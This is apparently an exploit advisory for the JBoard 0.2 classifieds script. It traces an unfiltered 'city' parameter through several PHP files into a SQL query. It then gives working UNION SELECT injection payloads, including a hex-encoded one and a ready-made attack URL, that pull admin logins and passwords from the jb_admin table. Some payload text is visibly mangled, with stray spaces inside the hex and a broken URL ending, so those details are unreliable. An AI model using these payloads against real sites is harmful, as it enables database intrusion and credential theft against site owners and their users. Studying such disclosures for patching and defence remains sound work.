JBoard is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

JBoard 0.2 is vulnerable; prior versions may also be affected.

SQL-Inj3ct0r Exploit:  

1) sboard.php

elseif (!@$_GET[&#039;id_mess&#039;] && !@$_GET[&#039;id_cat&#039;] && (@$_GET[&#039;op&#039;] == "all_cat" || @$_GET[&#039;city&#039;])) require_once("core/all_cat.php");

2) all_cat.php

if ($c[&#039;print_top&#039;] == "yes") require_once("inc/top_add.inc.php"); 

3) top_add.inc.php

There is a request to the database with the parameter $_GET[&#039;city&#039;], which is never filtered

if (@$_GET[&#039;city&#039;]) 
{ 
    $from_city_query = mysql_query ("SELECT city_name FROM jb_city WHERE city_translit = &#039;".$_GET[&#039;city&#039;]."&#039; LIMIT 1");  
    if (mysql_num_rows ($from_city_query) == 1) 
    { 
        $from_city = mysql_fetch_assoc ($from_city_query); 
        $city_from_search = " AND city = &#039;".$from_city[&#039;city_name&#039;]."&#039; "; 

The result is used in the second query:

 $top_add = mysql_query ("SELECT A.id as board_id, A.*, B.* FROM jb_board as A, jb_board_cat as B WHERE A.id_category = B.id AND old_mess = &#039;old&#039; ".@$city_from_search." ORDER by hits DESC LIMIT $limit");  
if (mysql_num_rows($top_add)) 
{ 
?>

  <tr>

    while ($top = mysql_fetch_assoc ($top_add)) 
    { 
        $tip = str_replace("\r\n"," ", htmlspecialchars($top[&#039;text&#039;])); 
        echo "<a href=\"".$h."/advertisement/nesting/".$top[&#039;id_category&#039;]."/kind/".$top[&#039;board_id&#039;]."/\" onmouseover=\"Tip(&#039;".$tip."&#039;)\"><strong>".$top[&#039;title&#039;]."</strong></a>"; 


Request number 1:

a &#039;UNION SELECT 1 --

Request number 2:

a &#039;UNION SELECT 1,2,3,4,5,6, concat_ws (0x3,login,password), 8,9,10,1 1,12,13,14,15,16,17,18,19, 20,21,22,23,24,25,26,27, 28,29,30,31,32,33,34 FROM jb_admin --
Transferred to the number (* 16):
0x612720554e494f4e2053454c45435420312c322c332c342c352c362c636f6e6361745f7773283078332c6c6f67696e2c70617373776f7264292c382c392c31302c31312c31322c31332c31342c31352c31362c31372c31382c31392c32302c32312c32322c32332c32342c32352c32362c32372c32382c32392c33302c33312c33322c33332c33342046524f4d206a625f61646d696e202d2d20

As a result, we obtain the following query:

sboard.php?city=a&#039;+union+select+0x612720554e494f4e2053454c45435420312c322c332c342c352c362c636f6e6361 745f7773283078332c6c6f67696e2c70617373776f7264292c 382c392c31302c31312c31322c31332c31342c31352c31362c 31372c31382c31392c32302c32312c32322c32332c32342c32 352c32362c32372c32382c32392c33302c33312c33322c3333 2c33342046524f4d206a625f61646d696e202d2d20% 20 -% 20
